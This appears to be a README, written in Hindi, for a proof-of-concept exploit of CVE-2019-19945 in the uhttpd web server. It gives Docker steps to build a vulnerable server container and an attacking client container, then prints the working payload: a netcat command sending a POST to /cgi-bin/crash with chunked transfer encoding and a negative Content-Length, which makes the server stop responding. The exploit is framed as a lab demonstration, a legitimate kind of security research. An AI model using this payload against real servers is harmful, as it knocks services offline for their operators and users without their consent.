
CVE-2019-19945 के लिए Proof-of-concept एक्सप्लॉइट, जो एक नकारात्मक Content-Length हेडर के साथ एक क्राफ्टेड POST अनुरोध के माध्यम से uhttpd के विरुद्ध denial-of-service हमले का प्रदर्शन करता है।
यह पहले प्रस्तावित CVE का कोड है
Docker इंस्टॉल करें
सर्वर बनाएं और चलाएं cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
सर्वर कंटेनर का IP प्राप्त करें Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server | Select-String "IPAddress" IP निकालें और इसे क्लाइंट बनाने के कमांड में जोड़ें आप अपने ब्राउज़र में localhost:80 पर जाकर सर्वर की जांच कर सकते हैं
क्लाइंट बनाएं और चलाएं Client/Dockerfile में CMD को अनकमेंट करके, कंटेनर के शुरू होने पर अटैक अपने आप शुरू हो जाएगा cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
क्लाइंट Docker से जुड़ें docker container ls client/cve कंटेनर ढूंढें और जुड़ें docker exec -it /bin/sh
तैयार होने पर अटैक शुरू करें ./crash.sh
सर्वर जवाब देने में असमर्थ हो जाएगा
टिप्पणी सहित स्रोत कोड प्रदान करने का कोई उपयोग नहीं है क्योंकि एक्सप्लॉइट बहुत छोटा है
एक्सप्लॉइट में Netcat का उपयोग करके सर्वर को cgi-bin/ निर्देशिका में फ़ाइलों के प्रबंधन से संबंधित एक नकारात्मक बड़ी Content-Length के साथ POST अनुरोध भेजना शामिल है
निष्पादन एक सरल netcat स्क्रिप्ट का उपयोग करके किया जाता है। यहाँ सर्वर के CGI-bin फ़ोल्डर में Crash नामक फ़ाइल का संदर्भ दिया गया है nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000
सबसे बड़ी समस्या uhttpd के पुराने संस्करणों को एक अपडेटेड docker वातावरण में चलाने की कोशिश करना था।